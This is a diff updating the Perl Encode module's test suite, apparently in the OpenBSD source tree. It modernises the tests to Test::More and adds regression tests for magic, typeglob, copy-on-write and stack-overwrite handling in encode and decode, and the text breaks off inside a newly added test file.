diff --git a/gnu/usr.bin/perl/cpan/Encode/bin/encguess b/gnu/usr.bin/perl/cpan/Encode/bin/encguess
index 0be5c7c428f..0f344ea3fc0 100644
--- a/gnu/usr.bin/perl/cpan/Encode/bin/encguess
+++ b/gnu/usr.bin/perl/cpan/Encode/bin/encguess
@@ -61,7 +61,7 @@ encguess - guess character encodings of files
=head1 VERSION
-$Id: encguess,v 0.1 2015/02/05 10:34:19 dankogai Exp $
+$Id: encguess,v 0.2 2016/08/04 03:15:58 dankogai Exp $
=head1 SYNOPSIS
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/CJKT.t b/gnu/usr.bin/perl/cpan/Encode/t/CJKT.t
index 1648b1e5fda..264daf072f0 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/CJKT.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/CJKT.t
@@ -57,8 +57,7 @@ for my $charset (sort keys %Charset){
$txt = join('',<$src>);
close($src);
- eval{ $uni = $transcoder->decode($txt, 1) };
- $@ and print $@;
+ eval { $uni = $transcoder->decode($txt, 1) } or print $@;
ok(defined($uni), "decode $charset"); $seq++;
is(length($txt),0, "decode $charset completely"); $seq++;
@@ -89,8 +88,7 @@ for my $charset (sort keys %Charset){
close $src;
my $unisave = $uni;
- eval{ $txt = $transcoder->encode($uni,1) };
- $@ and print $@;
+ eval { $txt = $transcoder->encode($uni,1) } or print $@;
ok(defined($txt), "encode $charset"); $seq++;
is(length($uni), 0, "encode $charset completely"); $seq++;
$uni = $unisave;
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/Encode.t b/gnu/usr.bin/perl/cpan/Encode/t/Encode.t
index d4902550b61..0536b4b7141 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/Encode.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/Encode.t
@@ -14,7 +14,7 @@ BEGIN {
}
}
use strict;
-use Test;
+use Test::More;
use Encode qw(from_to encode decode
encode_utf8 decode_utf8
find_encoding is_utf8);
@@ -25,33 +25,34 @@ my @character_set = ('0'..'9', 'A'..'Z', 'a'..'z');
my @source = qw(ascii iso8859-1 cp1250);
my @destiny = qw(cp1047 cp37 posix-bc);
my @ebcdic_sets = qw(cp1047 cp37 posix-bc);
-plan test => 38+$n*@encodings + 2*@source*@destiny*@character_set + 2*@ebcdic_sets*256 + 6 + 5;
+plan tests => 38+$n*@encodings + 2*@source*@destiny*@character_set + 2*@ebcdic_sets*256 + 6 + 3 + 3*8 + 2;
+
my $str = join('',map(chr($_),0x20..0x7E));
my $cpy = $str;
-ok(length($str),from_to($cpy,'iso8859-1','Unicode'),"Length Wrong");
-ok($cpy,$str,"ASCII mangled by translating from iso8859-1 to Unicode");
+is length($str),from_to($cpy,'iso8859-1','Unicode'),"Length Wrong";
+is $cpy,$str,"ASCII mangled by translating from iso8859-1 to Unicode";
$cpy = $str;
-ok(from_to($cpy,'Unicode','iso8859-1'),length($str),"Length wrong");
-ok($cpy,$str,"ASCII mangled by translating from Unicode to iso8859-1");
+is from_to($cpy,'Unicode','iso8859-1'),length($str),"Length wrong";
+is $cpy,$str,"ASCII mangled by translating from Unicode to iso8859-1";
$str = join('',map(chr($_),0xa0..0xff));
$cpy = $str;
-ok(length($str),from_to($cpy,'iso8859-1','Unicode'),"Length Wrong");
+is length($str),from_to($cpy,'iso8859-1','Unicode'),"Length Wrong";
my $sym = Encode->getEncoding('symbol');
my $uni = $sym->decode(encode(ascii => 'a'));
-ok("\N{alpha}",substr($uni,0,1),"alpha does not map to symbol 'a'");
+is "\N{alpha}",substr($uni,0,1),"alpha does not map to symbol 'a'";
$str = $sym->encode("\N{Beta}");
-ok("B",decode(ascii => substr($str,0,1)),"Symbol 'B' does not map to Beta");
+is "B",decode(ascii => substr($str,0,1)),"Symbol 'B' does not map to Beta";
foreach my $enc (qw(symbol dingbats ascii),@encodings)
{
my $tab = Encode->getEncoding($enc);
- ok(1,defined($tab),"Could not load $enc");
+ is 1,defined($tab),"Could not load $enc";
$str = join('',map(chr($_),0x20..0x7E));
$uni = $tab->decode($str);
$cpy = $tab->encode($uni);
- ok($cpy,$str,"$enc mangled translating to Unicode and back");
+ is $cpy,$str,"$enc mangled translating to Unicode and back";
}
# On ASCII based machines see if we can map several codepoints from
@@ -78,8 +79,8 @@ foreach my $to (@destiny)
my $native_chr = $chr;
my $cpy = $chr;
my $rc = from_to($cpy,$from,$to);
- ok(1,$rc,"Could not translate from $from to $to");
- ok(ord($cpy),shift(@expected),"mangled translating $native_chr from $from to $to");
+ is 1,$rc,"Could not translate from $from to $to";
+ is ord($cpy),shift(@expected),"mangled translating $native_chr from $from to $to";
}
}
}
@@ -95,27 +96,27 @@ foreach my $enc_eb (@ebcdic_sets)
$str = chr($ord);
my $rc = from_to($str,$enc_as,$enc_eb);
$rc += from_to($str,$enc_eb,$enc_as);
- ok($rc,2,"return code for $ord $enc_eb -> $enc_as -> $enc_eb was not obtained");
- ok($ord,ord($str),"$enc_as mangled translating $ord to $enc_eb and back");
+ is $rc,2,"return code for $ord $enc_eb -> $enc_as -> $enc_eb was not obtained";
+ is $ord,ord($str),"$enc_as mangled translating $ord to $enc_eb and back";
}
}
my $mime = find_encoding('iso-8859-2');
-ok(defined($mime),1,"Cannot find MIME-ish'iso-8859-2'");
+is defined($mime),1,"Cannot find MIME-ish'iso-8859-2'";
my $x11 = find_encoding('iso8859-2');
-ok(defined($x11),1,"Cannot find X11-ish 'iso8859-2'");
-ok($mime,$x11,"iso8598-2 and iso-8859-2 not same");
+is defined($x11),1,"Cannot find X11-ish 'iso8859-2'";
+is $mime,$x11,"iso8598-2 and iso-8859-2 not same";
my $spc = find_encoding('iso 8859-2');
-ok(defined($spc),1,"Cannot find 'iso 8859-2'");
-ok($spc,$mime,"iso 8859-2 and iso-8859-2 not same");
+is defined($spc),1,"Cannot find 'iso 8859-2'";
+is $spc,$mime,"iso 8859-2 and iso-8859-2 not same";
for my $i (256,128,129,256)
{
my $c = chr($i);
my $s = "$c\n".sprintf("%02X",$i);
- ok(utf8::valid($s),1,"concat of $i botched");
+ is utf8::valid($s),1,"concat of $i botched";
utf8::upgrade($s);
- ok(utf8::valid($s),1,"concat of $i botched");
+ is utf8::valid($s),1,"concat of $i botched";
}
# Spot check a few points in/out of utf8
@@ -123,9 +124,9 @@ for my $i (ord('A'),128,256,0x20AC)
{
my $c = chr($i);
my $o = encode_utf8($c);
- ok(decode_utf8($o),$c,"decode_utf8 not inverse of encode_utf8 for $i");
- ok(encode('utf8',$c),$o,"utf8 encode by name broken for $i");
- ok(decode('utf8',$o),$c,"utf8 decode by name broken for $i");
+ is decode_utf8($o),$c,"decode_utf8 not inverse of encode_utf8 for $i";
+ is encode('utf8',$c),$o,"utf8 encode by name broken for $i";
+ is decode('utf8',$o),$c,"utf8 decode by name broken for $i";
}
@@ -155,12 +156,56 @@ ok(encode(utf8 => Encode::Dummy->new("foobar")), "foobar");
ok(decode_utf8(*1), "*main::1");
# hash keys
-my $key = (keys %{{ "whatever\x{100}" => '' }})[0];
-my $kopy = $key;
-encode("UTF-16LE", $kopy, Encode::FB_CROAK);
-ok $key, "whatever\x{100}", 'encode with shared hash key scalars';
-undef $key;
-$key = (keys %{{ "whatever" => '' }})[0];
-$kopy = $key;
-decode("UTF-16LE", $kopy, Encode::FB_CROAK);
-ok $key, "whatever", 'decode with shared hash key scalars';
+foreach my $name ("UTF-16LE", "UTF-8", "Latin1") {
+ my $key = (keys %{{ "whatever\x{CA}" => '' }})[0];
+ my $kopy = $key;
+ encode($name, $kopy, Encode::FB_CROAK);
+ is $key, "whatever\x{CA}", "encode $name with shared hash key scalars";
+ undef $key;
+ $key = (keys %{{ "whatever\x{CA}" => '' }})[0];
+ $kopy = $key;
+ encode($name, $kopy, Encode::FB_CROAK | Encode::LEAVE_SRC);
+ is $key, "whatever\x{CA}", "encode $name with LEAVE_SRC and shared hash key scalars";
+ undef $key;
+ $key = (keys %{{ "whatever" => '' }})[0];
+ $kopy = $key;
+ decode($name, $kopy, Encode::FB_CROAK);
+ is $key, "whatever", "decode $name with shared hash key scalars";
+ undef $key;
+ $key = (keys %{{ "whatever" => '' }})[0];
+ $kopy = $key;
+ decode($name, $kopy, Encode::FB_CROAK | Encode::LEAVE_SRC);
+ is $key, "whatever", "decode $name with LEAVE_SRC and shared hash key scalars";
+
+ my $enc = find_encoding($name);
+ undef $key;
+ $key = (keys %{{ "whatever\x{CA}" => '' }})[0];
+ $kopy = $key;
+ $enc->encode($kopy, Encode::FB_CROAK);
+ is $key, "whatever\x{CA}", "encode obj $name with shared hash key scalars";
+ undef $key;
+ $key = (keys %{{ "whatever\x{CA}" => '' }})[0];
+ $kopy = $key;
+ $enc->encode($kopy, Encode::FB_CROAK | Encode::LEAVE_SRC);
+ is $key, "whatever\x{CA}", "encode obj $name with LEAVE_SRC and shared hash key scalars";
+ undef $key;
+ $key = (keys %{{ "whatever" => '' }})[0];
+ $kopy = $key;
+ $enc->decode($kopy, Encode::FB_CROAK);
+ is $key, "whatever", "decode obj $name with shared hash key scalars";
+ undef $key;
+ $key = (keys %{{ "whatever" => '' }})[0];
+ $kopy = $key;
+ $enc->decode($kopy, Encode::FB_CROAK | Encode::LEAVE_SRC);
+ is $key, "whatever", "decode obj $name with LEAVE_SRC and shared hash key scalars";
+}
+
+my $latin1 = find_encoding('latin1');
+my $orig = "\316";
+$orig =~ /(.)/;
+is $latin1->encode($1), $orig, '[cpan #115168] passing magic regex globals to encode';
+SKIP: {
+ skip "Perl Version ($]) is older than v5.16", 1 if $] < 5.016;
+ *a = $orig;
+ is $latin1->encode(*a), '*main::'.$orig, '[cpan #115168] passing typeglobs to encode';
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/at-cn.t b/gnu/usr.bin/perl/cpan/Encode/t/at-cn.t
index 03ba10955ae..c82225ecae1 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/at-cn.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/at-cn.t
@@ -21,7 +21,9 @@ use Encode;
no utf8; # we have raw Chinese encodings here
-use_ok('Encode::CN');
+BEGIN {
+ use_ok('Encode::CN');
+}
# Since JP.t already tests basic file IO, we will just focus on
# internal encode / decode test here. Unfortunately, to test
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/at-tw.t b/gnu/usr.bin/perl/cpan/Encode/t/at-tw.t
index e6a559b0a16..203fc34bc9b 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/at-tw.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/at-tw.t
@@ -23,7 +23,9 @@ use Encode;
no utf8; # we have raw Chinese encodings here
-use_ok('Encode::TW');
+BEGIN {
+ use_ok('Encode::TW');
+}
# Since JP.t already tests basic file IO, we will just focus on
# internal encode / decode test here. Unfortunately, to test
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/cow.t b/gnu/usr.bin/perl/cpan/Encode/t/cow.t
index 985e268fe2c..9932e9d1703 100644
--- a/gnu/usr.bin/perl/cpan/Encode/t/cow.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/cow.t
@@ -1,9 +1,9 @@
#
-# $Id: cow.t,v 1.1 2013/08/29 16:47:39 dankogai Exp $
+# $Id: cow.t,v 1.2 2016/08/04 03:15:58 dankogai Exp $
#
use strict;
use Encode ();
-use Test::More tests => 2;
+use Test::More tests => 4;
my %a = ( "L\x{c3}\x{a9}on" => "acme" );
@@ -18,3 +18,10 @@ is $h{"L\x{e9}on"} => 'acme';
# use Devel::Peek;
# Dump(\%h);
+{ # invalid input to encode/decode/from_to should not affect COW-shared scalars
+ my $x = Encode::decode('UTF-8', "\303\244" x 4);
+ my $orig = "$x"; # non-COW copy
+ is($x, $orig, "copy of original string matches");
+ { my $y = $x; Encode::from_to($y, "UTF-8", "iso-8859-1"); }
+ is($x, $orig, "original scalar unmodified after from_to() call");
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/decode.t b/gnu/usr.bin/perl/cpan/Encode/t/decode.t
index 77cdaba389d..93c992cf548 100644
--- a/gnu/usr.bin/perl/cpan/Encode/t/decode.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/decode.t
@@ -1,11 +1,13 @@
#
-# $Id: decode.t,v 1.1 2013/08/29 16:47:39 dankogai Exp $
+# $Id: decode.t,v 1.4 2017/10/06 22:21:53 dankogai Exp $
#
use strict;
-use Encode qw(decode_utf8 FB_CROAK);
-use Test::More tests => 3;
+use Encode qw(decode_utf8 FB_CROAK find_encoding decode);
+use Test::More tests => 17;
+use Test::Builder;
sub croak_ok(&) {
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
my $code = shift;
eval { $code->() };
like $@, qr/does not map/;
@@ -23,3 +25,64 @@ croak_ok { Encode::decode('utf-8', $orig2, FB_CROAK) };
chop(my $new = $bytes . $pad);
croak_ok { Encode::decode_utf8($new, FB_CROAK) };
+my $latin1 = find_encoding('latin1');
+$orig = "\N{U+0080}";
+$orig =~ /(.)/;
+is($latin1->decode($1), $orig, '[cpan #115168] passing magic regex globals to decode');
+SKIP: {
+ skip "Perl Version ($]) is older than v5.16", 1 if $] < 5.016;
+ *a = $orig;
+ is($latin1->decode(*a), '*main::'.$orig, '[cpan #115168] passing typeglobs to decode');
+}
+
+$orig = "\x80";
+$orig =~ /(.)/;
+is($latin1->decode($1), "\N{U+0080}", 'passing magic regex to latin1 decode');
+
+$orig = "\x80";
+*a = $orig;
+is($latin1->decode(*a), "*main::\N{U+0080}", 'passing typeglob to latin1 decode');
+
+$orig = "\N{U+0080}";
+$orig =~ /(.)/;
+is($latin1->encode($1), "\x80", 'passing magic regex to latin1 encode');
+
+$orig = "\xC3\x80";
+$orig =~ /(..)/;
+is(Encode::decode_utf8($1), "\N{U+C0}", 'passing magic regex to Encode::decode_utf8');
+
+$orig = "\xC3\x80";
+*a = $orig;
+is(Encode::decode_utf8(*a), "*main::\N{U+C0}", 'passing typeglob to Encode::decode_utf8');
+
+$orig = "\N{U+C0}";
+$orig =~ /(.)/;
+is(Encode::encode_utf8($1), "\xC3\x80", 'passing magic regex to Encode::encode_utf8');
+
+$orig = "\xC3\x80";
+$orig =~ /(..)/;
+is(Encode::decode('utf-8', $1), "\N{U+C0}", 'passing magic regex to UTF-8 decode');
+
+$orig = "\xC3\x80";
+*a = $orig;
+is(Encode::decode('utf-8', *a), "*main::\N{U+C0}", 'passing typeglob to UTF-8 decode');
+
+$orig = "\N{U+C0}";
+$orig =~ /(.)/;
+is(Encode::encode('utf-8', $1), "\xC3\x80", 'passing magic regex to UTF-8 encode');
+
+SKIP: {
+ skip "Perl Version ($]) is older than v5.16", 3 if $] < 5.016;
+
+ $orig = "\N{U+0080}";
+ *a = $orig;
+ is($latin1->encode(*a), "*main::\x80", 'passing typeglob to latin1 encode');
+
+ $orig = "\N{U+C0}";
+ *a = $orig;
+ is(Encode::encode_utf8(*a), "*main::\xC3\x80", 'passing typeglob to Encode::encode_utf8');
+
+ $orig = "\N{U+C0}";
+ *a = $orig;
+ is(Encode::encode('utf-8', *a), "*main::\xC3\x80", 'passing typeglob to UTF-8 encode');
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/encoding-locale.t b/gnu/usr.bin/perl/cpan/Encode/t/encoding-locale.t
index 1153b8ed0a7..87e7ecb45f6 100644
--- a/gnu/usr.bin/perl/cpan/Encode/t/encoding-locale.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/encoding-locale.t
@@ -14,12 +14,13 @@ use Encode qw<find_encoding>;
my $locale_encoding = encoding::_get_locale_encoding;
SKIP: {
- is(ref $locale_encoding, '', '_get_locale_encoding returns a scalar value')
- or skip 'no locale encoding found', 1;
+ defined $locale_encoding or skip 'no locale encoding found', 3;
+
+ is(ref $locale_encoding, '', '_get_locale_encoding returns a scalar value');
my $enc = find_encoding($locale_encoding);
ok(defined $enc, 'encoding returned is supported')
or diag("Encoding: ", explain($locale_encoding));
isa_ok($enc, 'Encode::Encoding');
- note($locale_encoding, ' => ', $enc->name);
+ eval { note($locale_encoding, ' => ', $enc->name); };
}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/fallback.t b/gnu/usr.bin/perl/cpan/Encode/t/fallback.t
index 8ef8ab38df0..011c86dbfcf 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/fallback.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/fallback.t
@@ -17,7 +17,7 @@ BEGIN {
use strict;
#use Test::More qw(no_plan);
-use Test::More tests => 50;
+use Test::More tests => 58;
use Encode q(:all);
my $uo = '';
@@ -50,6 +50,7 @@ my $ao = $uo;
utf8::upgrade($uo);
my $ascii = find_encoding('ascii');
+my $latin1 = find_encoding('latin1');
my $utf8 = find_encoding('utf8');
my $src = $uo;
@@ -166,19 +167,46 @@ is($src, $ao, "coderef residue decode");
$src = "\x{3000}";
$dst = $ascii->encode($src, sub{ $_[0] });
-is $dst, 0x3000."", qq{$ascii->encode(\$src, sub{ \$_[0] } )};
+is $dst, 0x3000."", q{$ascii->encode($src, sub{ $_[0] } )};
$dst = encode("ascii", "\x{3000}", sub{ $_[0] });
-is $dst, 0x3000."", qq{encode("ascii", "\\x{3000}", sub{ \$_[0] })};
+is $dst, 0x3000."", q{encode("ascii", "\x{3000}", sub{ $_[0] })};
$src = pack "C*", 0xFF;
$dst = $ascii->decode($src, sub{ $_[0] });
-is $dst, 0xFF."", qq{$ascii->encode(\$src, sub{ \$_[0] } )};
+is $dst, 0xFF."", q{$ascii->encode($src, sub{ $_[0] } )};
$dst = decode("ascii", (pack "C*", 0xFF), sub{ $_[0] });
-is $dst, 0xFF."", qq{decode("ascii", (pack "C*", 0xFF), sub{ \$_[0] })};
+is $dst, 0xFF."", q{decode("ascii", (pack "C*", 0xFF), sub{ $_[0] })};
$src = pack "C*", 0x80;
$dst = $utf8->decode($src, sub{ $_[0] });
-is $dst, 0x80."", qq{$utf8->encode(\$src, sub{ \$_[0] } )};
+is $dst, 0x80."", q{$utf8->encode($src, sub{ $_[0] } )};
$dst = decode("utf8", $src, sub{ $_[0] });
-is $dst, 0x80."", qq{decode("utf8", (pack "C*", 0x80), sub{ \$_[0] })};
+is $dst, 0x80."", q{decode("utf8", (pack "C*", 0x80), sub{ $_[0] })};
+
+$src = "\x{3000}";
+$dst = $latin1->encode($src, sub { "\N{U+FF}" });
+is $dst, "\x{ff}", q{$latin1->encode($src, sub { "\N{U+FF}" })};
+$dst = encode("latin1", $src, sub { "\N{U+FF}" });
+is $dst, "\x{ff}", q{encode("latin1", $src, sub { "\N{U+FF}" })};
+
+$src = "\x{3000}";
+$dst = $latin1->encode($src, sub { utf8::upgrade(my $r = "\x{ff}"); $r });
+is $dst, "\x{ff}", q{$latin1->encode($src, sub { utf8::upgrade(my $r = "\x{ff}"); $r })};
+$dst = encode("latin1", $src, sub { utf8::upgrade(my $r = "\x{ff}"); $r });
+is $dst, "\x{ff}", q{encode("latin1", $src, sub { utf8::upgrade(my $r = "\x{ff}"); $r })};
+
+$src = "\x{ff}";
+$dst = $utf8->decode($src, sub { chr($_[0]) });
+is $dst, "\x{ff}", q{$utf8->decode($src, sub { chr($_[0]) })};
+$dst = decode("utf8", $src, sub { chr($_[0]) });
+is $dst, "\x{ff}", q{decode("utf8", $src, sub { chr($_[0]) })};
+
+{
+ use charnames ':full';
+ $src = "\x{ff}";
+ $dst = $utf8->decode($src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r });
+ is $dst, "\N{LATIN SMALL LETTER Y WITH DIAERESIS}", q{$utf8->decode($src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r })};
+ $dst = decode("utf8", $src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r });
+ is $dst, "\N{LATIN SMALL LETTER Y WITH DIAERESIS}", q{decode("utf8", $src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r })};
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/guess.t b/gnu/usr.bin/perl/cpan/Encode/t/guess.t
index 81ab91b5624..896028ba8dd 100755
--- a/gnu/usr.bin/perl/cpan/Encode/t/guess.t
+++ b/gnu/usr.bin/perl/cpan/Encode/t/guess.t
@@ -18,11 +18,7 @@ use Encode qw(decode encode find_encoding _utf8_off);
#use Test::More qw(no_plan);
use Test::More tests => 32;
-use_ok("Encode::Guess");
-{
- no warnings;
- $Encode::Guess::DEBUG = shift || 0;
-}
+BEGIN { use_ok("Encode::Guess") }
my $ascii = join('' => map {chr($_)}(0x21..0x7e));
my $latin1 = join('' => map {chr($_)}(0xa1..0xfe));
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/magic.t b/gnu/usr.bin/perl/cpan/Encode/t/magic.t
new file mode 100644
index 00000000000..8295152247e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/magic.t
@@ -0,0 +1,144 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Encode qw(find_encoding encode decode encode_utf8 decode_utf8 is_utf8 _utf8_on _utf8_off FB_CROAK);
+
+use Test::More tests => 3*(2*(4*(4*4)+4)+4+3*3);
+
+my $ascii = find_encoding('ASCII');
+my $latin1 = find_encoding('Latin1');
+my $utf8 = find_encoding('UTF-8');
+my $utf16 = find_encoding('UTF-16LE');
+
+my $undef = undef;
+my $ascii_str = 'ascii_str';
+my $utf8_str = 'utf8_str';
+_utf8_on($utf8_str);
+
+{
+ foreach my $str ($undef, $ascii_str, $utf8_str) {
+ foreach my $croak (0, 1) {
+ foreach my $enc ('ASCII', 'Latin1', 'UTF-8', 'UTF-16LE') {
+ my $mod = defined $str && $croak;
+ my $func = "encode('" . $enc . "', " . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ($croak ? ', FB_CROAK' : '') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ my $output = encode($enc, $input, $croak ? FB_CROAK : 0);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, $mod ? 1 : 0, "$func " . ($mod ? 'processes set magic only once' : 'does not process set magic'));
+ is($input, $mod ? '' : $str, "$func " . ($mod ? 'modifies' : 'does not modify') . ' $input string');
+ is($output, ((defined $str and $enc eq 'UTF-16LE') ? encode("UTF-16LE", $str) : $str), "$func returns correct \$output string");
+ }
+ foreach my $enc ('ASCII', 'Latin1', 'UTF-8', 'UTF-16LE') {
+ my $mod = defined $str && $croak;
+ my $func = "decode('" . $enc . "', " . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ($croak ? ', FB_CROAK' : '') . ')';
+ my $input_str = ((defined $str and $enc eq 'UTF-16LE') ? encode("UTF-16LE", $str) : $str);
+ tie my $input, 'TieScalarCounter', $input_str;
+ my $output = decode($enc, $input, $croak ? FB_CROAK : 0);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, $mod ? 1 : 0, "$func " . ($mod ? 'processes set magic only once' : 'does not process set magic'));
+ is($input, $mod ? '' : $input_str, "$func " . ($mod ? 'modifies' : 'does not modify') . ' $input string');
+ is($output, $str, "$func returns correct \$output string");
+ }
+ foreach my $obj ($ascii, $latin1, $utf8, $utf16) {
+ my $mod = defined $str && $croak;
+ my $func = '$' . $obj->name() . '->encode(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ($croak ? ', FB_CROAK' : '') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ my $output = $obj->encode($input, $croak ? FB_CROAK : 0);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, $mod ? 1 : 0, "$func " . ($mod ? 'processes set magic only once' : 'does not process set magic'));
+ is($input, $mod ? '' : $str, "$func " . ($mod ? 'modifies' : 'does not modify') . ' $input string');
+ is($output, ((defined $str and $obj == $utf16) ? encode("UTF-16LE", $str) : $str), "$func returns correct \$output string");
+ }
+ foreach my $obj ($ascii, $latin1, $utf8, $utf16) {
+ my $mod = defined $str && $croak;
+ my $func = '$' . $obj->name() . '->decode(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ($croak ? ', FB_CROAK' : '') . ')';
+ my $input_str = ((defined $str and $obj == $utf16) ? encode("UTF-16LE", $str) : $str);
+ tie my $input, 'TieScalarCounter', $input_str;
+ my $output = $obj->decode($input, $croak ? FB_CROAK : 0);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, $mod ? 1 : 0, "$func " . ($mod ? 'processes set magic only once' : 'does not process set magic'));
+ is($input, $mod ? '' : $input_str, "$func " . ($mod ? 'modifies' : 'does not modify') . ' $input string');
+ is($output, $str, "$func returns correct \$output string");
+ }
+ {
+ my $mod = defined $str && $croak;
+ my $func = 'decode_utf8(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ($croak ? ', FB_CROAK' : '') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ my $output = decode_utf8($input, $croak ? FB_CROAK : 0);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, $mod ? 1 : 0, "$func " . ($mod ? 'processes set magic only once' : 'does not process set magic'));
+ is($input, $mod ? '' : $str, "$func " . ($mod ? 'modifies' : 'does not modify') . ' $input string');
+ is($output, $str, "$func returns correct \$output string");
+ }
+ }
+ {
+ my $func = 'encode_utf8(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ my $output = encode_utf8($input);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, 0, "$func does not process set magic");
+ is($input, $str, "$func does not modify \$input string");
+ is($output, $str, "$func returns correct \$output string");
+ }
+ {
+ my $func = '_utf8_on(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ _utf8_on($input);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, defined $str ? 1 : 0, "$func " . (defined $str ? 'processes set magic only once' : 'does not process set magic'));
+ defined $str ? ok(is_utf8($input), "$func sets UTF8 status flag") : ok(!is_utf8($input), "$func does not set UTF8 status flag");
+ }
+ {
+ my $func = '_utf8_off(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ _utf8_off($input);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, defined $str ? 1 : 0, "$func " . (defined $str ? 'processes set magic only once' : 'does not process set magic'));
+ ok(!is_utf8($input), "$func unsets UTF8 status flag");
+ }
+ {
+ my $func = 'is_utf8(' . (!defined $str ? 'undef' : is_utf8($str) ? '$utf8_str' : '$ascii_str') . ')';
+ tie my $input, 'TieScalarCounter', $str;
+ my $utf8 = is_utf8($input);
+ is(tied($input)->{fetch}, 1, "$func processes get magic only once");
+ is(tied($input)->{store}, 0, "$func does not process set magic");
+ is($utf8, is_utf8($str), "$func returned correct state");
+ }
+ }
+}
+
+package TieScalarCounter;
+
+sub TIESCALAR {
+ my ($class, $value) = @_;
+ return bless { fetch => 0, store => 0, value => $value }, $class;
+}
+
+sub FETCH {
+ my ($self) = @_;
+ $self->{fetch}++;
+ return $self->{value};
+}
+
+sub STORE {
+ my ($self, $value) = @_;
+ $self->{store}++;
+ $self->{value} = $value;
+}
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/rt113164.t b/gnu/usr.bin/perl/cpan/Encode/t/rt113164.t
new file mode 100644
index 00000000000..f0a94ea066c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/rt113164.t
@@ -0,0 +1,38 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
+ if (ord("A") == 193) {
+ print "1..0 # Skip: EBCDIC\n";
+ exit 0;
+ }
+ $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Test::More tests => 2;
+
+use Encode;
+
+my $str = "You" . chr(8217) . "re doomed!";
+
+my $data;
+
+my $cb = sub {
+ $data = [ ('?') x 12_500 ];
+ return ";";
+};
+
+my $octets = encode('iso-8859-1', $str, $cb);
+is $octets, "You;re doomed!", "stack was not overwritten";
+
+$octets = encode('iso-8859-1', $str, $cb);
+is $octets, "You;re doomed!", "stack was not overwritten";
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/rt65541.t b/gnu/usr.bin/perl/cpan/Encode/t/rt65541.t
new file mode 100644
index 00000000000..4a75ce3c7b9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/rt65541.t
@@ -0,0 +1,29 @@
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't';
+ unshift @INC, '../lib';
+ }
+ require Config; import Config;
+ if ($Config{'extensions'} !~ /\bEncode\b/) {
+ print "1..0 # Skip: Encode was not built\n";
+ exit 0;
+ }
